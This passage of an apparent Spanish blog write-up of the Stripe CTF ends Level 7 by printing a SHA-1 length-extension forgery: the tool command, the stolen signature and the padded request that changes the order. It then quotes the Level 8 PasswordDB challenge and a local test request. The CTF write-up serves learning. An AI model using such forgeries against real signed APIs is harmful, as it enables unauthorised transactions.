&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Como se permitía acceder a los pedidos de otros usuarios, con una petición a https://level07-2.stripe-ctf.com/user-vnnjojikfr/logs/1 es posible obtener el mensaje original&amp;nbsp; “count=10&amp;amp;lat=37.351&amp;amp;user_id=1&amp;amp;long=-119.827&amp;amp;waffle=eggo”&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Ejecutamos la herramienta y enviamos el resultado:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;python sha&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;py &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;count=10&amp;amp;lat=37.351&amp;amp;user_id=1&amp;amp;long=-119.827&amp;amp;waffle=eggo&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;0cae013e74d62f65b1802c5d780e7180983d8dbd&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;&amp;amp;waffle=liege&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

https&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;//level07-2.stripe-ctf.com/user-vnnjojikfr/orders&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
count&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;lat&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;37.351&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=-&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;119.827&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;waffle&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;eggo\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;waffle&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;liege&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: medium; line-height: 22.390625px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nivel 8:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;El nivel más complejo con diferencia. Por cuestiones personales, solo pude estar con el CTF el 23-24 y 28-29, cuando desbloquee el nivel ya había dos pistas. No se si estaban dadas desde el principio o fue pasados los días:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Welcome to the final level, Level 8.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;HINT 1: No, really, we&#39;re not looking for a timing attack.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output?&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;UPDATE: If you push the reset button for Level 8, you will be moved to a different Level 8 machine, and the value of your Flag will change. If you push the reset button on Level 2, you will be bounced to a new Level 2 machine, but the value of your Flag won&#39;t change.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Because password theft has become such a rampant problem, a security firm has decided to create PasswordDB, a new and secure way of storing and validating passwords. You&#39;ve recently learned that the Flag itself is protected in a PasswordDB instance, accesible at https://level08-2.stripe-ctf.com/user-veyrdiujkx/.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;PasswordDB exposes a simple JSON API. You just POST a payload of the form {&quot;password&quot;: &quot;password-to-check&quot;, &quot;webhooks&quot;: [&quot;mysite.com:3000&quot;, ...]} to PasswordDB, which will respond with a {&quot;success&quot;: true}&quot; or {&quot;success&quot;: false}&quot; to you and your specified webhook endpoints.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;(For example, try running curl https://level08-2.stripe-ctf.com/user-veyrdiujkx/ -d &#39;{&quot;password&quot;: &quot;password-to-check&quot;, &quot;webhooks&quot;: []}&#39;.)&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers&#39; respective existences. Instead, the password is &quot;chunked&quot; across multiple processes, called &quot;chunk servers&quot;. These may live on the same machine as the HTTP-accepting &quot;primary server&quot;, or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;As a secure cherry on top, the machine hosting the primary server has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. As you learned in Level 5, someone forgot to internally firewall off the high ports from the Level 2 server. (It&#39;s almost like someone on the inside is helping you — there&#39;s an sshd running on the Level 2 server as well.)&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;To maximize adoption, usability is also a goal of PasswordDB. Hence a launcher script, password_db_launcher, has been created for the express purpose of securing the Flag. It validates that your password looks like a valid Flag and automatically spins up 4 chunk servers and a primary server.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;You can obtain the code for PasswordDB from git clone https://level08-2.stripe-ctf.com/user-veyrdiujkx/level08-code, or simply read the source below.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;No fue rápido ver cuál era el objetivo, en este caso con el código que nos habían dado monté en local el servicio para hacer las pruebas. Cuando se realizaba una petición:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;curl http&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;//127.0.0.1 -d &#39;{&quot;password&quot;: &quot;123456789012&quot;, &quot;webhooks&quot;: []}&#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
